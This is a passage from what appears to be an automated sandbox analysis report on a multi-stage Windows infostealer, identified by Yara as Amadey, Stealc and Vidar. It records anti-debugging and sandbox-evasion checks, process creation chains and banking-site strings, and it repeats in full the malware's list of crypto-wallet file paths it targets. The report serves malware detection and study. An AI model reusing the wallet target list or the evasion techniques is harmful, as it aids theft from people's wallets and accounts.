hNtUNLbfDjXTeRuRZmb1UR7KbTqnPSJfi+EuavwVa97nIcLS1I9LSqVcT57q8cMmip068ZxrkAAAACm3iicL2iEKRSbTPtHMA2lSB6HSxWQ1ZcuVVOSfgSnl5FZXeyw5+5sm8CTXL56BccblVtwU4165P8yzuBjBvJz"},"ProviderPfn":{"Type":"InlineString","IsProtected":false,"Value":"Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy"}},"ProviderDefinedProperties":[],"PerApplicationProperties":{}}}}
Source: CBGCAFII.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: CBGCAFII.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: skotes.exe, 00000024.00000002.3467146110.000000000133F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\Modules;C:\Program Files (x86)\
Source: CBGCAFII.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2726149421.0000000000735000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000024.00000002.3467146110.0000000001317000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000024.00000002.3467146110.000000000133F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y"
Source: CBGCAFII.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:h
Source: CBGCAFII.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000001.00000002.2769616265.0000000023311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: CBGCAFII.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: CBGCAFII.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000001.00000002.2769616265.0000000023311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: CBGCAFII.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: CBGCAFII.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: CBGCAFII.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: CBGCAFII.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: CBGCAFII.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y?
Source: file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: CBGCAFII.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: CBGCAFII.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: CBGCAFII.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2726852981.0000000000F72000.00000040.00000001.01000000.00000003.sdmp, DocumentsHIDHDAAEHI.exe, 0000001B.00000002.2771556277.0000000000771000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001C.00000002.2820663231.0000000000581000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001D.00000002.2820411273.0000000000581000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000024.00000002.3464405238.0000000000581000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CBGCAFII.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHIDHDAAEHI.exe

Code function: 27_2_05170CD8 rdtsc

27_2_05170CD8

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6C9B5FF0

Source: C:\Users\user\Desktop\file.exe

1_2_6C953480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003C652B mov eax, dword ptr fs:[00000030h]		36_2_003C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003CA302 mov eax, dword ptr fs:[00000030h]		36_2_003CA302

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6C98B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6C98B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIDHDAAEHI.exe "C:\Users\user\DocumentsHIDHDAAEHI.exe"
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe "C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe"

Source: file.exe, file.exe, 00000001.00000002.2726852981.0000000000F72000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C98B341 cpuid

1_2_6C98B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

1_2_6C9535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 36_2_003965E0 LookupAccountNameA,

36_2_003965E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.DocumentsHIDHDAAEHI.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.skotes.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000003.2726792987.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2820209054.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3275164235.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3464086926.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2820491853.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2779871985.0000000004A90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2779780612.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2769275250.0000000000581000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2726494046.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2207422987.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 